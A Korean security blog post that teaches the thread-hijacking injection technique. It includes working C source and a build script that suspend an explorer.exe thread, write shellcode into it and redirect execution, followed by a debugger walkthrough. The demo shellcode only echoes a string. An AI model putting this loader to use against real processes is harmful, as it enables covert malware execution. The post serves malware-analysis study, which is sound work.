tmxklab

Dropper 3-4(Thread Injection) 본문

Security/07 Malware Technique

Dropper 3-4(Thread Injection)

tmxk4221 2020. 12. 30. 14:11

0. 목차


1. Thread Injection이란

  • Thread Injection / Code Injection / Thread Hijacking
  • 타겟 프로세스의 쓰레드를 SUSPENDED상태로 변경
  • SUSPENDED상태의 쓰레드에 악성코드를 Injection
  • 다시 쓰레드의 실행을 재개시키면서 악성코드 실행
  • LoadLibrary(), CreateRemoteThread()를 사용하지 않음

주요 흐름) Find TargetOpenProcessOpenThreadSuspendThreadVirtualAllocSetContextThreadResumeThread


2. Thread Injection 유형 분석

2.1 분석 환경

  • OS : Windows 7(x86)
  • Debugging Tool : IDA Pro, x32dbg, Windbg
  • etc Tool : VMMap, ProcessExplorer, PE View

2.2 예제 소스 코드 및 컴파일

[ thread.cpp ]

#include <windows.h>
#include <TlHelp32.h>

EXTERN_C NTSTATUS NTAPI RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
EXTERN_C NTSTATUS NTAPI NtSetContextThread(HANDLE, PCONTEXT);
EXTERN_C NTSTATUS NTAPI NtWriteVirtualMemory(HANDLE, PVOID, PVOID, ULONG, PULONG);

int _strcmp(char *s1, char *s2)
{
    while (*s1 && (*s1 == *s2))
        s1++, s2++;
    return (int)*(unsigned char *)s1 - *(unsigned char *)s2;
}

DWORD findPidByName(char *pname)
{
    HANDLE h;
    PROCESSENTRY32 procSnapshot;
    h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    procSnapshot.dwSize = sizeof(PROCESSENTRY32);

    do
    {
        if (!_strcmp(procSnapshot.szExeFile, pname))
        {
            DWORD pid = procSnapshot.th32ProcessID;
            CloseHandle(h);
            return pid;
        }
    } while (Process32Next(h, &procSnapshot));

    CloseHandle(h);
    return 0;
}

unsigned char code[74] = {
    0x60, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x81, 0xEB, 0x06, 0x00, 0x00, 0x00, 0xB8, 0x41, 0x41,
    0x41, 0x41, 0x8D, 0x93, 0x24, 0x00, 0x00, 0x00, 0x6A, 0x01, 0x52, 0xFF, 0xD0, 0x61, 0x68, 0x42,
    0x42, 0x42, 0x42, 0xC3, 0x63, 0x6D, 0x64, 0x20, 0x2F, 0x6B, 0x20, 0x65, 0x63, 0x68, 0x6F, 0x20,
    0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x20, 0x69, 0x6E, 0x6A, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E,
    0x20, 0x46, 0x69, 0x6E, 0x69, 0x73, 0x68, 0x65, 0x64, 0x21};

int main()
{

    DWORD dwProcessId;
    HANDLE hProcess, hSnap, hThread;
    THREADENTRY32 te32;
    PVOID mem, image;
    LPBYTE ptr;
    CONTEXT ctx;
    te32.dwSize = sizeof(te32);
    ctx.ContextFlags = CONTEXT_FULL;
    image = code;

    dwProcessId = findPidByName("explorer.exe");
    hProcess = OpenProcess(
        PROCESS_QUERY_INFORMATION |
            PROCESS_CREATE_THREAD |
            PROCESS_VM_OPERATION |
            PROCESS_VM_WRITE,
        FALSE, dwProcessId);
    if (hProcess == NULL)
    {
        return (1);
    }

    hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    Thread32First(hSnap, &te32);

    while (Thread32Next(hSnap, &te32))
    {
        if (te32.th32OwnerProcessID == dwProcessId)
        {
            break;
        }
    }
    CloseHandle(hSnap);

    hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
    if (!hThread)
    {
        CloseHandle(hProcess);
        return -1;
    }
    SuspendThread(hThread);
    GetThreadContext(hThread, &ctx);
    ptr = (LPBYTE)image;

    *(PDWORD)(ptr + 14) = (DWORD)WinExec;
    *(PDWORD)(ptr + 31) = ctx.Eip;
    mem = VirtualAllocEx(hProcess, NULL, 4096,
                         MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    NtWriteVirtualMemory(hProcess, mem, image, sizeof(code), NULL);

    ctx.Eip = (SIZE_T)((LPBYTE)mem);
    NtSetContextThread(hThread, &ctx);
    ResumeThread(hThread);

    return 0;
}

[ build.bat ]

@ECHO OFF
WHERE cl
IF %ERRORLEVEL% NEQ 0 (
    call "C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\Common7\Tools\VsDevCmd.bat"
)
cl /c /GS- thread.cpp
link /ENTRY:main /BASE:0x400000 /FIXED /subsystem:windows thread.obj ntdll.lib user32.lib kernel32.lib Advapi32.lib
del *.obj


3. 분석

3.1 정적 분석

start()

  • 처음에 Buffer에 unk_403000주소 값을 넣는다.
  • 딱 봐도 쉘코드 같은 것이 저장되어 있다.

1) ProcessHandle = (HANDLE)OpenProcess(0x42A, 0, pid);

  • 액세스 권한 옵션 : PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE

→ findPidByName()을 통해 구한 "explorer.exe"의 pid값으로 해당 프로세스 handle값을 얻어옴

2) snap = CreateToolhelp32Snapshot(4, 0);

  • dwFlags : TH32CS_SNAPTHREAD(0x4)
    • 시스템의 모든 스레드를 스냅 샷에 포함
  • th32ProcessID : 널 값인 경우 모든 프로세스가 스냅샷에 포함

→ 시스템에서 실행 중인 모드 스레드가 스냅 샷에 포함

3) Thread32First(snap, &v2);

→ 시스템 스냅 샷에서 발견된 모든 프로세스의 첫 번째 스레드에 대한 정보를 검색하는 함수

+) 쓰레드의 리스트를 구했을 때 그 리스트를 정렬, 열거하기 위해서 사용하는 함수

  • hSnapshot : CreateToolhelp32Snapshot()을 통해 반환된 스냅 샷에 대한 핸들
  • lpte : THREADENTRY32구조체에 대한 포인터

3-1) Thread32First(snap, &v2);

→ 첫 번째 스레드에 대한 정보가 lpte(v2)로 전달된다.

4) Thread32next()

→ Thread32First 호출 이후 스냅 샷 정보에서 다음 스레드의 정보를 읽어오는 함수

  • hSnapshot : CreateToolhelp32Snapshot()을 통해 반환된 스냅 샷에 대한 핸들
  • lpte : THREADENTRY32구조체에 대한 포인터

4-1) while ( Thread32Next(snap, &v2) && v4 != pid )

→ v4의 값과 pid값이 같으면 while루프가 종료되며 그 전까지는 계속 Thread32Next()가 호출되면서 스레드를 탐색한다.

→ 즉, "explorer.exe"의 tid를 찾는 과정

5) OpenThread()

→ tid값을 전달받아 핸들을 구하는 함수

  • dwDesiredAccess : 스레드 개체에 대한 액세스 권한
    • THREAD_ALL_ACCESS : 스레드 개체에 대한 가능한 모든 액세스 권한
  • bInheritHandle : TRUE이면 이 프로세스에 의해 생성된 프로세스는 핸들을 상속받고 FALSE면 상속하지 않는다.
  • dwThreadId : open할 스레드의 식별자(tid)

5-1) ThreadHandle = (HANDLE)OpenThread(0x1FFFFF, 0, v3);

→ v3로 전달받은 tid값을 통해 Thread를 Open하여 핸들 값을 저장

6) SuspendThread()

→ 지정된 스레드를 일시 중단하는 함수

  • hThread : 일시 중단될 스레드에 대한 핸들

6-1) SuspendThread(ThreadHandle);

→ 위에서 구한 ThreadHandle값을 통해 지정된 스레드를 일시 중단

→ "explorer.exe"의 스레드를 일시 중단

7) GetThreadContext()

→ 지정된 스레드의 컨텍스트를 검색하는 함수

  • hThread : 컨텍스트를 검색할 스레드에 대한 핸들
  • lpContext : 지정된 스레드의 컨택스트를 받는 CONTEXT구조체 변수

7-1) GetThreadContext(ThreadHandle, &Context);

→ "explorer.exe"의 스레드 컨텍스트를 Context구조체 변수에 저장

이후에 다음 코드를 실행하게 되는데

  • Buffer에는 아까 쉘 코드로 짐작되는 헥사 값이 저장되어 있고 Buffer의 어느 부분에 WinExec()의 주소 값과 Context.Eip값을 넣는 듯하다.

8) BaseAddress = (PVOID)VirtualAllocEx(ProcessHandle, 0, 0x1000, 0x3000, 0x40);

  • 메모리 할당 유형 : MEM_COMMIT(0x1000) | MEM_RESERVE(0x2000)
  • 메모리 보호 설정 : PAGE_EXECUTE_READWRITE(0x40)

→ "explorer.exe"의 프로세스에 0x1000만큼 메모리 공간할당하고 주소 값 반환

9) NtWriteVirtualMemory(ProcessHandle, BaseAddress, Buffer, 0x4Au, 0);

→ "explorer.exe"의 BaseAddress에 Buffer에 저장된 값을 0x4a만큼 쓴다.

→ 이후에 Context.Eip를 BaseAddress로 설정한다.

10) NtSetContextThread(ThreadHandle, &Context);

→ Context가 설정되어 Context구조체의 Eip부분부터 지정된 Thread실행

11) ResumeThread(ThreadHandle);

→ 아까 SUSPEND걸어놨던 "explorer.exe"의 스레드를 실행 재개시킨다.

+) THREADENTRY32 구조체

  • dwSize : 구조체의 크기
  • cntUsage : 사용하지 않음, 0으로 설정
  • th32ThreadID : 스레드 식별자
  • th32OwnerProcessID : 스레드를 소유한 프로세스 식별자
  • tpBasePri : 스레드에 할당된 커널 기반 우선 순위 레벨
  • tpDeltaPri : 사용하지 않음, 0으로 설정
  • dwFlags : 사용하지 않음, 0으로 설정

3.2 동적 분석

0) unk_403000

  • [ebp-0x18]에 0x403000주소 값을 저장한다.
  • 쉘 코드 확인 → 정확히 무엇을 수행하는지는 이따가 확인

1) OpenProcess() 호출 後

  • "thread.exe"에서 "explorer.exe"프로세스를 Open하고 handler값을 얻어옴
  • "explorer.exe" pid : 0xA5C(2,652)
  • "explorer.exe" handler : 0x10(16)

2) CreateToolhelp32Snapshot() 호출 後

  • 시스템의 모든 스레드를 포함한 스냅 샷에 대한 핸들러 값 반환(0x14)

3) Thread32First() 호출 後

  • 첫 번째 스레드에 대한 정보 반환, [ebp-0x38] = 0x1c

4) Thread32next() 호출 後

  • [ebp-0x2c]와 [ebp-0x10]값 비교 → while루프를 돌면서 0xa5c(explorer.exe의 pid)값과 같은 스레드 찾기
  • 0xa5c와 같은 값을 찾으면서 while루프 종료

5) OpenThread() 호출 前, 後

① 호출 前

  • tid값인 0xA60(2,656)과 OpenThread에 필요한 인자 세팅

② 호출 後

  • 반환 값으로 thread handle값인 0x14를 [ebp-0x4]에 저장

6) SuspendThread() 호출 後

  • "explorere.exe"(tid : 0xA60)스레드가 SUSPENDED상태로 변함

7) GetThreadContext() 호출 後

  • "explorer.exe"스레드 컨텍스트 정보를 얻어와 Context구조체 변수에 저장

7-1) (_DWORD *)((char *)Buffer + 0xE) = WinExec;

  • shellcode가 저장된 위치로부터 0xe만큼 떨어진 곳에 WinExec()의 주소 값을 넣는 과정, 원래는 0x41414141값이 존재함
  • 성공적으로 buffer+0xe위치에 WinExec()의 주소 값이 들어감

7-2) (_DWORD *)(v7 + 0x1F) = Context.Eip;

  • buffer + 0x1f에 Context.Eip(여기서 Context는 "explorer.exe"의 스레드 컨텍스트 정보를 담은 구조체 변수)값을 넣는다. 기존에 0x42424242값이 들어가 있음
  • 성공적으로 buffer + 0x1f위치에 Context.Eip값이 들어감

8) VirtualAllocEx() 호출 前, 後

① 호출 前

  • VirtualAllocEx()의 인자 값 세팅, 여기서 핸들러 값 0x10은 "explorer.exe"의 핸들러 값

② 호출 後

  • 할당된 메모리 영역의 주소 값으로 반환 → 0x1DD0000
  • 확인 결과 "explorer.exe"의 0x1DD0000의 메모리 영역이 할당됨
  • 액세스 권한은 rwx

9) NtWriteVirtualMemory() 호출 前, 後

① 호출 前

  • 인자 값 세팅

② 호출 後

  • "explorer.exe"에 할당받은 메모리 영역(0x1DD0000)에 Buffer에 있는 값(쉘 코드)을 쓰고 Context.Eip에 BaseAddress값을 넣는 과정을 진행한다.
  • 기존에 Context.Eip에는 0x77296c04가 들어있다.
  • 최종적으로 Context.Eip는 쉘 코드 값이 저장된 0x1DD0000주소 값이 저장된다.

+) Windbg에서 CONTEXT구조체 편하게 보는 방법

10) NtSetContextThread() 호출 後

  • Context구조체 변수에 있는 값으로 설정되고 이후에 Context구조체의 Eip부분(0x1DD0000)부터 지정된 Thread 즉, "explorer.exe"(tid : 0xA60)을 실행할 수 있게 된다. (아직 SUSPENDED상태)

11) ResumeThread() 호출 後

  • SUSPENDED가 풀리면서 shellcode가 실행된다.
  • 쉘 코드는 단순하게 cmd창에서 문자열을 echo하는 기능을 수행한다.

+) Shellcode

  • 기존에 0x41414141값과 0x42424242값 부분에 WinExec()와 ntdll.KiFastSystemCallRet함수로 변경되었다.

windbg에서 target process에 attach하여 디버깅)

  • "thread.exe"에서 디버깅하는 windbg에서 ResumeThread()를 호출하자 "explorer.exe" 쓰레드에서 쉘 코드로 이동한다.
  • 이후에 eax, edx에 각각 WinExec()주소 값과 "cmd ~~~"문자열을 넣는다.
  • 최종적으로 push 1 ; push edx ; call eax를 통해서 파라미터를 세팅하고 WinExec()를 호출한다.
  • 실행 이후 아까 봤던 cmd창이 켜지는 것을 확인할 수 있다.


4. 정리

4.1 Process

1) findPidByName()를 통해 Target Process인 "explorer.exe"의 pid를 구한다.

2) OpenProcess()를 통해 "explorer.exe"프로세스를 Open한다.

3) 스레드 관련 함수들을 통해 "explorer.exe" 스레드를 구한다.

4) OpenThread()를 통해 "explorer.exe"스레드를 Open한다.

5) SuspendThread()를 통해 "explorer.exe"스레드를 SUSPENDED상태로 만든다.

6) VirtualAllocEx()를 통해 "explorer.exe"프로세스에 메모리 공간을 확보한다.

7) NtWriteVirtualMemory()를 통해 확보한 공간에 쉘 코드를 쓴다.

8) "explorer.exe"스레드 컨텍스트의 Eip값을 확보한 공간의 주소로 돌린다.

9) NtSetContextThread()를 통해 컨텍스트 정보를 갱신한다.

10) ResumeThread()를 통해 "explorer.exe"스레드 실행을 재개시킨다.

11) 갱신된 컨텍스트 정보에는 Eip가 쉘 코드를 가리키기 때문에 쉘 코드가 실행되어 cmd창에 문자열을 echo한다.

4.2 Image



출처 : https://www.elastic.co/kr/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process


5. 참고자료

5.1 ThreadInjection


'Security > 07 Malware Technique' 카테고리의 다른 글

UAC bypass(레지스트리 어뷰징) 분석  (0) 2021.01.09
Reflective DLL Injection  (4) 2021.01.07
Dropper 3-3(PE Injection)  (0) 2020.12.29
Dropper 3-2(Process Hollowing)  (3) 2020.12.29
Dropper 3-1(DLL Injection)  (0) 2020.12.29
Comments